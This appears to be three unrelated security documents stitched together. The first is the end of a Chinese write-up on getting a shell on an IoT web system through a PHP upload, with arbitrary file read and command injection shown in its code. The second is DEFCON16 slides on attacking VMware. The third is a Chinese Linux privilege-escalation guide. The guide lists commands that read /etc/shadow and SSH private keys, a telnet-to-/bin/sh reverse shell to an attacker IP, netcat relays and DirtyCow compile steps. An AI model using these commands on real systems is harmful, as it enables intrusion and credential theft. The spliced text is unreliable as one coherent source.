PHPSESSID=ieu43tab3c7bvnop3v3ome75i6) Connection: close) Content-Length: 203) ) ------WebKitFormBoundaryAgAiQWYWgJxBjqwA) Content-Disposition: form-data; name="uploadedfile"; filename="1.php") Content-Type: text/plain) ) <?php echo(1) ?>) ------WebKitFormBoundaryAgAiQWYWgJxBjqwA--) ) 虽然这⾥显⽰读取⽂件错误,但实际上⽂件已经传上去了。我们看⼀下是否解析 了。) ) 成功getshell。) ) 接着⽩盒视⾓回顾⼀下上⾯⼀个任意⽂件读取app_reports_show.php、⼀个任意⽂ 件打包app_download_zipped_logs.php。) app_reports_show.php) <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">) <html>) <body>) ) <?php require 'kic.php'; ?>) <?php include("menu.html"); ?>) ) <br>) <big>) <a href=app_status.php>SW Status </a>) -) <a href=app_reports.php>Reports From Applications</a>) -) Show Application Report) </big>) <br>) <br>) <?php) $error=1;) $file=$_POST["fileselection"];) if (!empty($_POST["fileselection"]))) {) if (file_exists($file) AND is_readable($file))) {) echo "<br><big>Last Log Lines On File "; ) echo $file;) echo "</big><hr align=\"left\" width=\"100%\">"; ) ) $line_array=file($file); //or die("Logfile cannot be read!");) for ($index=sizeof($line_array)-200;$index < sizeof($line_array);$index++)) { ) echo $line_array[$index];) echo "<p>";) }) }) else ) {) echo "<br>File $file cannot be read!";) }) }) else ) {) echo "<br>No file was selected";) }) ?>) </body>) </html>) 先是设置`ile变量为post的`ileselection后⾯通过`ile函数对⽂件进⾏操作并没有限制 任何路径,以及能读取到的⽂件类型。导致了任意⽂件读取。) app_download_zipped_logs.php) <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">) <html>) <body>) ) <?php require 'kic.php'; ?>) <?php include("menu.html"); ?>) ) <br>) <big>) <a href=app_status.php>SW Status </a>) -) <a href=app_download_logs.php>Download Log Files </a>) -) Download Zipped Log Files ) </big>) <br>) <br>) <?php) $error=1;) $files;) foreach($_POST as $key=>$value)) {) if (gettype($value)=="array")) {) foreach ($value as $two_dim_value)) {) if (empty($files))) {) $files=$two_dim_value; ) }) else ) {) $files=$files." ".$two_dim_value;) }) $error=0;) }) }) else) {) if (empty($files))) {) $files=$value;) }) else ) {) $files=$files." ".$value;) }) $error=0;) }) }) ) $docRoot = getWebRootDir();) if($docRoot == "unknown")) {) echo "<br>Failed to locate www document root directory. Aborting!<br>";) return;) }) ) $download_path=$docRoot."/downloads/";) if(!is_dir($download_path))) {) $command=$docRoot."/scripts/mk_dir.sh ".$download_path;) $out=shell_exec($command." 2>&1");) print "Created download directory: <pre>$out</pre>\n";) }) ) $command="/usr/bin/zip ".$download_path."kic_logs.zip ".$files;) echo "<br>";) if (file_exists($download_path."kic_logs.zip")) ) {) unlink($download_path."kic_logs.zip");) }) exec($command);) ) if (file_exists($download_path."kic_logs.zip"))) {) echo "<fieldset> <legend class=\"l\"> Right click on file to download </legend>"; ) echo "<br><big><a href=\"/downloads/kic_logs.zip\" / a>kic_logs.zip</big><br></fieldset>";) }) if (empty($_POST))) {) echo "No file was selected";) }) else if ($error)) {) echo "Couldn't create Log package!";) }) ?>) </body>) </html>) 这⾥没有看到⿊盒对应的`ileselection[]参数,但`iles变量(这⾥通过foreach随便输 ⼊Post参数都⾏,不⼀定⾮得`ileselection[])是从app_download_logs.php)获取过来 的,我们可以看看app_download_logs.php这个⽂件。) <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">) <html>) <body>) ) <?php require 'kic.php'; ?>) <?php include("menu.html"); ?>) ) <br>) <big>) <a href=app_status.php>SW Status </a>) <a href=app_download_logs.php>Download Log Files </a>) </big>) <br>) <br>) <fieldset>) <legend class="l"> Download Log Files </legend>) <br>) Select log file(s) to download:) <?php) function regExpFile($regExp, $dir, $regType='P', $case='')) {) $func=($regType=='P') ? 'preg_match' :'ereg'.$case;) $open=opendir($dir);) ) $Exp=preg_quote($regExp);) $Exp='/^'.$regExp;) $Exp=$Exp.'/';) $file_array=array();) $exact_exp='/'.$regExp;) $exact_exp=$exact_exp.'/';) while (($file=readdir($open))!==false)) {) if ($file)) {) if (preg_match($Exp, $file)/* OR preg_match($exact_exp, $file)*/)) {) $file_array[]=$file; ) }) } ) }) if (!empty($file_array))) {) return $file_array;) }) }) $file_path="/tmp/";) if ($handle = opendir($file_path))) {) echo "<form action=\"app_download_zipped_logs.php\" method=\"POST\">";) while (false !== ($file = readdir($handle)))) {) $pos1 = strrpos($file, ".");) if ($file != "." && $file != ".." && $pos1 == true)) {) if( strpos($file, ".00") || strrpos($file, ".log") )) {) if (strlen($file)-$pos1 == 4)) {) $path = $file_path.$file;) echo "<input type=\"checkbox\" name=\"fileselection[]\" value=\"$path\">";) print_file_info($path);) }) }) }) }) echo "<input type=\"submit\" value=\"Compress selected file(s)\">";) echo "</form>";) closedir($handle);) }) else) {) echo "loglist_download-file cannot be read!";) }) // note: this is also in config_status.php and others also) function print_file_info($path)) {) if (file_exists($path))) {) echo $path;) echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp;&nbsp;<i>Modified: ";) echo date("D d M Y g:i",filemtime($path));) echo "</i><br>";) }) }) ?>) </fieldset>) </body>) </html>) 我们可以看到app_download_logs.php)其实是有做过滤的,但 app_download_zipped_logs.php)没做后端过滤,我想开发者本意是想通过 app_download_logs.php过滤再传⼊到app_download_zipped_logs.php)做zip打包处 理,但我们明显没按他逻辑先从app_download_logs.php输⼊下载到路径,再打包 ⽂件下载。⽽是直接调⽤app_download_zipped_logs.php进⾏打包,所以他这个过 滤等于脱裤⼦放屁。) 漏洞修复建议: 1.前⾯两个未授权添加上authorization.php进⾏鉴权) 2.限制⽬录穿越,以及可读取跟下载的⽂件内容。) 3.上传功能限制⽬录以及上传⽬录设置不可执⾏,只读权限,限制⽂件上传类型。) 总结: 我这⾥是先通过找到未授权任意⽂件读取、以及任意⽂件打包,把源码下载后再分 析上传接⼜找到任意⽂件上传。挖掘IOT相关的Web系统的时候可以优先考虑先看 看有没NTP服务、Ping等命令执⾏的地⽅,很⼤概率会调⽤危险函数,可以通过参 数注⼊的⽅式执⾏命令,然后就是上传功能点。⾄于命令执⾏,这⾥太监⼀下,有 意识的⼩伙伴⼤概能从⽂章⾥判断出是什么系统,有个别版本(由于不太通⽤懒得 放出来了)是有上传接⼜可以通过命令注⼊的⽅式执⾏命令RCE,也有聪明的⼩伙 伴可以看到有固件升级的位置,可以考虑构造恶意的固件包,通过升级⽅式进⾏ RCE。)
pdf
DEFCON16  Virtually Hacking 08 August 2008 2 Why VMware? • Virtualisation has taken off and is here to stay • Many of our clients are using virtualisation technologies • Virtualisation services are being sold • VMware is the dominant product* • Need to be familiar with a product in order to hack it *source ­ silicon.com 3 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 4 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 5 Different Flavours • Player • Workstation • Server (GSX) • ESX 6 Different Flavours • Player • Workstation • Server (GSX) • ESX 7 Key concepts Server Guest OS • One server can run multiple operating systems 8 Key concepts Hardware OS VMware Server Virtual Machines Apps OS Apps OS Apps OS VMware Server 9 Key concepts Hardware VMware ESX Virtual Machines Apps OS Apps OS Apps OS VMware ESX 10 Key concepts • Primary configuration file (.vmx) • Virtual disk file – the virtual machines hard drive (.vmdk) • Virtual machines snapshot (.vmsn) • Virtual machines page file (.vmem) Overview of the main files which make up a virtual machine 11 Key concepts • Virtual machine disk file can be mounted • Files can therefore easily be read from the disk • Demo... 12 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 13 VMware:Server 14 VMware:Server Interesting ports on 192.168.1.53: Not shown: 1707 closed ports PORT    STATE SERVICE 21/tcp  open  ftp 22/tcp  open  ssh 80/tcp  open  http 111/tcp open  rpcbind 113/tcp open  auth 389/tcp open  ldap 902/tcp open  iss­realsecure­sensor vmware­authd 15 VMware:Server 16 VMware:Server ­ Tools • List VM's • Get state • Start/Stop • Get config • Get remote connections • Set guest info vmware­cmd.pl 17 VMware:Server ­ Tools • List VM's • Power On/Off • Login Guest • Copy file from host to guest / guest to host • Run program in guest • Run script in guest VMware VIX API 18 VMware:Server ­ Tools VMware VIX API 1: require 'ruby_vix' 2: Vix.RunProgramInGuest('10.0.0.9',902,s_username,s_password,vmusername, vmpassword,'/var/vms/windows.vmx','net user vmuser vmuser /ADD',"") • Ruby bindings • Easily scriptable • Equivalent to 130 lines of C 19 VMware:Server ­ Demo • Obtain credentials • Extract information • Own the box 20 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 21 VMware:ESX 22 VMware:ESX 23 VMware:ESX Interesting ports on 192.168.1.58: Not shown: 65528 filtered ports PORT     STATE  SERVICE 22/tcp   open   ssh 80/tcp   open   http 427/tcp  closed svrloc 443/tcp  open   https 902/tcp  open   iss­realsecure 903/tcp  open   iss­console­mgr 5988/tcp open   unknown 5989/tcp open   unknown 24 VMware:ESX • Provides a web service (SOAP) interface • https://vmware­esx/sdk • Web server • https://vmware­esx/ui • https://vmware­esx/mob • Vmware authd still available on port 902 • Vmware­serverd not present • COS (Console Operating System) via SSH • Red Hat derived 25 Vmware:ESX ­ Tools • Example operations include: • RebootGuest • RebootHost_Task • ScanHostPatch_Task • CreateUser • RemoveVirtualSwitch VI API 26 Vmware:ESX ­ Demo • Perform checks unauthenticated • Exploit weaknesses 27 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 28 dradis – A Quick Intro • Tool for structuring information • Client/Server architecture • Ruby based • Extensible  Add modules  Put together a methodology • Intercept actions/results to perform conditional operations http://dradis.sourceforge.net 29 dradis – A Quick Intro 30 dradis • Provide it with a description of the environment • It can then provide checks or operations based on this • e.g. Host is ESX  ­>  Determine version Version is 3.5  ­>  Determine services SSH is enabled  ­>  Check for weak accounts etc...  31 dradis • Lets see it in action • Demo 32 Structure • VMware   Different flavours  Key concepts • Hacking VMware Server + Demo • Hacking VMware ESX + Demo • dradis – putting it all together • Recommendations  Am I going to get owned? 33 Am I Going to Get Owned? • Have you followed VMware's security guidance?  • Have you applied updates? 34 Am I Going to Get Owned? • VMware will always be a single point of failure • Recommendation is to keep management networks  separate from your core networks and guest networks • There is nothing stopping you from hardening the  installation beyond the default  Don't forget things like CIScan for example  Do you use all of the services running? 35 Am I Going to Get Owned? • Harden the virtual network  Disable promiscuous mode  Reject MAC address changes  Reject traffic with a forged IP address • Disable copy and paste between guest and host • Can guest OS read the CD drive on the host OS? • Am I logging enough / too much? 36 Future work • Still plenty to play with • Still lots of VMware technologies to cover 37 END • Have a play with the tools • Let me know what you think • Let me know any new features you would like to see • Tools available from:  http://www.tinternet.org.uk  http://www.mwrinfosecurity.com • dradis is available from:  http://dradis.sourceforge.net 38 END • Questions?
pdf
目录 前言 2 1-linux提权描述 4 2-基本Linux权限提升前的信息收集 6 3-linux提权—自动信息收集 18 4-linux提权-内核漏洞提权 19 5-1-linux-历史漏洞提权 24 5-linux提权-利用以root权限运行的服务 25 6-Linux提权-NFS权限弱 27 7-linux提权-Suid和Guid配置错误 32 8-linux提权—滥用SUDO 41 9-linux提权-利用“.”路径配置错误 45 10-linux提权—利用定时任务(Cron jobs) 47 11-linux提权-通配符注入 54 渗透测试 红队攻防 免杀 权限维持 等等技术  及时分享最新漏洞复现以及EXP 国内外最新技术分享!!! 进来一起学习吧 本文由黑白天安全团队李木整理 水平有限,错误还望大佬多多包涵!! 仅供学习研究,请遵守法律不要进行非法攻击! 微信扫一扫关注公众号 大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行 的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着 用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息 或安装不需要的程序,例如病毒。通常,当系统存在允许绕过安全性的错 误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。 特权提升是利用操作系统或软件应用程序中的错误,设计缺陷等等来获得 对通常受到应用程序或用户保护的资源的更高访问权限的行为。结果是, 具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执 行未经授权的操作。 特权升级有两种类型:水平和垂直。在水平升级中,您从一个用户转移到 另一个用户。在这种情况下,两个用户都是通用的,而在垂直方式中,我 们将特权从普通用户提升为管理员 简单来说就是 即用户无法访问(读取/写入/执行)不允许访问的文件。但是,超级用户 (root)可以访问系统上存在的所有文件。 为了更改任何重要的配置或进 行进一步的攻击,首先,我们需要在任何基于Linux的系统上获得root用户 访问权限 为什么我们需要执行特权升级? 读/写任何敏感文件 重新启动之间轻松保持 插入永久后门 特权升级所使用的技术 我们假设现在我们在远程系统上有外壳。根据我们渗透进去的方式,我们 可能没有“ root”特权。以下提到的技术可用于获取系统上的“ root”访问权 限。 内核漏洞 以root身份运行的程序 已安装的软件 弱密码/重用密码/纯文本密码 内部服务 Suid配置错误 滥用sudo权利 由root调用的可写脚本 路径配置错误 Cronjobs 卸载的文件系统 信息收集是关键。 (Linux)特权提升的TIps: 信息信息,更多的信息收集,信息收集是整个渗透测试过程的 整理信息,分析收集的信息和整理信息。 搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。 修改代码- 修改漏洞利用程序,使其适合目前的渗透。并非每种漏洞都能 为“现成”的每个系统工作。漏洞看环境 尝试攻击- 为(很多)尝试和错误做好准备。 操作系统 什么是发行类型?什么版本的? 什么是内核版本?是64位吗? 从环境变量中可以收集到什么信息?环境变量中可能存在密码或API密钥 cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- cat /etc/profile cat /etc/bashrc 1 2 3 4 1 2 3 4 5 1 2 路径(Path) 如果您对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制 文件:PATH echo $ PATH  有打印机吗? 应用与服务 哪些服务正在运行?哪个服务具有哪个用户特权? root正在运行哪些服务?在这些易受攻击的服务中,值得仔细检查! 安装了哪些应用程序?他们是什么版本的?他们目前在运行吗? cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set lpstat -a ps aux ps -ef top cat /etc/services ps aux | grep root ps -ef | grep root ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l 3 4 5 6 1 1 2 3 1 1 2 3 服务设置是否配置错误?是否附有(脆弱的)插件? 计划了哪些工作?(计划任务) 是否有纯文本用户名和/或密码? 检查Web服务器连接到数据库的文件(config.php或类似文件) 检查数据库以获取可能被重用的管理员密码 rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root 4 5 6 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10 11 12 检查弱密码 通讯与网络 系统具有哪些NIC?它是否连接到另一个网络? 什么是网络配置设置?我们可以找到关于该网络的哪些信息?DHCP服务 器?DNS服务器?网关? 其他哪些用户和主机正在与系统通信? 在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法从外部连接到服 务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行, 或者其中可能存在漏洞。由于开发人员或用户可能在考虑“由于只有特定用户可以访问 它,因此我们不需要花费那么多的安全性”,因此它们可能更加脆弱。 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname 1 2 3 4 1 2 3 1 2 3 4 5 6 检查netstat并将其与您从外部进行的nmap扫描进行比较。您是否能从内部找到更多可用 的服务? # Linux netstat -anlp netstat -ano 缓存了什么?IP和/或MAC地址 数据包嗅探是否可能?可以看到什么? 注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口] 我们有shell吗? lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w arp -e route /sbin/route -nee tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets syst 1 2 3 4 5 6 7 8 1 2 3 1 1 2 3 是否可以进行端口转发?重定向流量并与之交互 注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP] 注意:ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP] 注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地 端口]> backpipe 可以使用隧道吗?在本地远程发送命令 机密信息和用户 你是谁?谁登录?谁已经登录?那里还有谁?谁能做什么? FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Po mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhos mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhos ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig id who w 1 1 2 1 2 3 1 2 1 2 3 可以找到哪些敏感文件? home/root目录有什么“有用”的地方吗?如果可以访问 里面有密码吗?脚本,数据库,配置文件还是日志文件?密码的默认路径和 位置 用户正在做什么?是否有纯文本密码?他们在编辑什么? last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {pri cat /etc/sudoers sudo -l cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ ls -ahlR /root/ ls -ahlR /home/ cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history 4 5 6 7 8 9 1 2 3 4 1 2 1 2 3 1 2 3 4 5 可以找到哪些用户信息? 可以找到私钥信息吗? 文件系统 可以在/ etc /中写入哪些配置文件?能够重新配置服务? cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other 1 2 3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 2 3 4 在/ var /中可以找到什么? 网站上是否有任何设置/文件(隐藏)?有数据库信息的任何设置文件吗? 日志文件中是否有任何内容(可以帮助“本地文件包含”!) find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log 5 6 7 1 2 3 4 5 6 7 1 2 3 4 5 1 2 3 4 5 6 7 8 9 10 如果命令受到限制,我们得跳出“受到限制”外壳吗? cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, ma python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 1 2 3 是否存在安装文件系统? 是否有任何卸载的文件系统? “Linux文件权限”是什么? 可以在哪里写入和执行?一些“常见”位置:/ tmp,/ var / tmp,/ dev / shm mount df -h cat /etc/fstab find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the gro find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the own find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -typ # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/ find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & 1 2 1 1 2 3 4 5 6 7 8 9 10 11 1 2 3 4 5 任何“问题”文件吗?Word可写的“没人”文件 准备和查找漏洞利用代码 安装/支持哪些开发工具/语言? 如何上传文件? 系统是否已完全打补丁? find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writ find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files find / -name perl* find / -name python* find / -name gcc* find / -name cc find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp 内核,操作系统,所有应用程序,其插件和Web服务 1 2 1 2 3 1 2 3 4 5 1 枚举脚本 我主要使用了三个用于枚举机器的脚本。它们在脚本之间有些区别,但是它们输出的内 容很多相同。因此,将它们全部测试一下,看看您最喜欢哪一个。 LinEnum https://github.com/rebootuser/LinEnum 以下是选项: -k Enter keyword -e Enter export location -t Include thorough (lengthy) tests -r Enter report name -h Displays this help text Unix特权 http://pentestmonkey.net/tools/audit/unix-privesc-check 运行脚本并将输出保存在文件中,然后使用grep发出警告。 Linprivchecker.py https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py 通过利用Linux内核中的漏洞,有时我们可以提升特权。我们通常需要了解的操作系统, 体系结构和内核版本是测试内核利用是否可行的测试方法。 内核漏洞 内核漏洞利用程序是利用内核漏洞来执行具有更高权限的任意代码的程序。成功的内核 利用通常以root命令提示符的形式为攻击者提供对目标系统的超级用户访问权限。在许多 情况下,升级到Linux系统上的根目录就像将内核漏洞利用程序下载到目标文件系统,编 译该漏洞利用程序然后执行它一样简单。 假设我们可以以非特权用户身份运行代码,这就是内核利用的通用工作流程。 考虑到要成功利用内核利用攻击,攻击者需要满足以下四个条件: 抵御内核漏洞的最简单方法是保持内核的修补和更新。在没有补丁的情况下,管理员可 以极大地影响在目标上转移和执行漏洞利用的能力。考虑到这些因素,如果管理员可以 阻止将利用程序引入和/或执行到Linux文件系统上,则内核利用程序攻击将不再可行。因 此,管理员应专注于限制或删除支持文件传输的程序,例如FTP,TFTP,SCP,wget和 curl。当需要这些程序时,它们的使用应限于特定的用户,目录,应用程序(例如SCP) 和特定的IP地址或域。 内核信息收集 一些基本命令收集一些Linux内核信息 命令 结果 1.诱使内核在内核模式下运行我们的有效负载 2.处理内核数据,例如进程特权 3.以新特权启动shell root! 1.易受攻击的内核 2.匹配的漏洞利用程序 3.将漏洞利用程序转移到目标上的能力 4.在目标上执行漏洞利用程序的能力 1 2 3 1 2 3 4 搜索漏洞 通过脏牛(CVE-2016-5195)利用易受攻击的机器 $ whoami 命令–告诉我们当前用户是john(非root用户) $ uname -a –给我们我们知道容易受到dirtycow攻击的内核版本>从此处下载dirtycow漏洞 – https://www.exploit-db .com / exploits / 40839 />编译并执行。通过编辑/ etc / passwd 文件,它将“ root”用户替换为新用户“ rash”。 $ su rash –将当前登录用户更改为root用户的“ rash”。 命令 结果 uname -a 打印所有可用的 系统信息 uname -m Linux内核体系 结构(32或64 位) uname -r 内核发布 uname -n 要么 hostname 系统主机名 cat /proc/version 内核信息 cat /etc/*-release 要么 cat /etc/issue 发行信息 cat /proc/cpuinfo CPU信息 df -a 文件系统信息 dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null 列出可用的编译 器 1 site:exploit-db.com kernel version python linprivchecker.py extended 其他内核提权 对于不同的内核和操作系统,可以公开获得许多不同的本地特权升级漏洞。是否可以使 用内核利用漏洞在Linux主机上获得root访问权限,取决于内核是否易受攻击。Kali Linux 具有exploit-db漏洞的本地副本,这使搜索本地根漏洞更加容易。我不建议在搜索Linux内 核漏洞时完全依赖此数据库。 1 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs 避免一开始就利用任何本地特权升级漏洞 如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处 于不稳定状态。因此,内核漏洞利用应该是最后的手段。 1.远程主机可能会崩溃,因为许多公开可用的根漏洞利用都不十分稳定。 2.您可能会成为root用户,然后使系统崩溃。 3.漏洞利用可能会留下痕迹/日志。 1 2 3 内核漏洞 检查内核版本以及是否存在一些可用于提升特权的漏洞 我们可以在此处找到良好的易受攻击的内核列表以及一些已编译的漏洞利用程序: https : //github.com/lucyoa/kernel-exploits和exploitdb sploits。  其他网站,可以找到一些编译漏洞:https://github.com/bwbwbwbw/linux-exploit- binaries,https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack 也可以直接在MSF中搜索 CVE-2016-5195(DirtyCow) Linux内核<= 3.19.0-73.8 cat /proc/version uname -a searchsploit "Linux Kernel" # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c 1 2 3 1 2 3 4 5 描述 著名的EternalBlue和SambaCry漏洞利用了以root身份运行的smb服务。由于它的致命组 合,它被广泛用于在全球范围内传播勒索软件。 这里的手法是,如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则 可以root用户身份执行命令。 我们可以重点检查Web服务,邮件服务,数据库服务等是否以root用户身份运行。很多时 候,运维都以root用户身份运行这些服务,而忽略了它可能引起的安全问题。可能有一些 服务在本地运行,而没有公开暴露出来,但是也可以利用。 在Matesploits中 利用以root用户身份运行的易受攻击的MySQL版本来获得root用 户访问权限 MySQL UDF动态库漏洞利用可让我们从mysql shell执行任意命令。如果mysql以root特 权运行,则命令将以root身份执行。 netstat -antup 显示所有打开并正在监听的端口。我们可以检查在本地运行的服务是否可以被 ps aux 列出哪些进程正在运行 ps -aux | grep root 列出以root身份运行的服务。 ps 检查哪些进程正在运行 ps -aux | grep root 列出以root身份运行的服务。 1 2 3 1 1 可以看到mysql服务以root用户组运行,那么我们可以使用将作为root用户执行的MySQL Shell执行任意命令。 拥有root权限的程序的二进制漏洞利用远没有内核漏洞利用危险,因为即使服务崩溃,主 机也不会崩溃,并且服务可能会自动重启。 防御 除非真正需要,否则切勿以root用户身份运行任何服务,尤其是Web,数据库和文件服务 器。 如果您在linu服务器上具有低特权shell,并且发现服务器中具有NFS共享, 则可以使用它来升级特权。但是成功取决于它的配置方式。 目录 a. 什么是NFS? b. 什么是root_sqaush和no_root_sqaush? c. 所需的工具和程序文件。 d. 利用NFS弱权限。 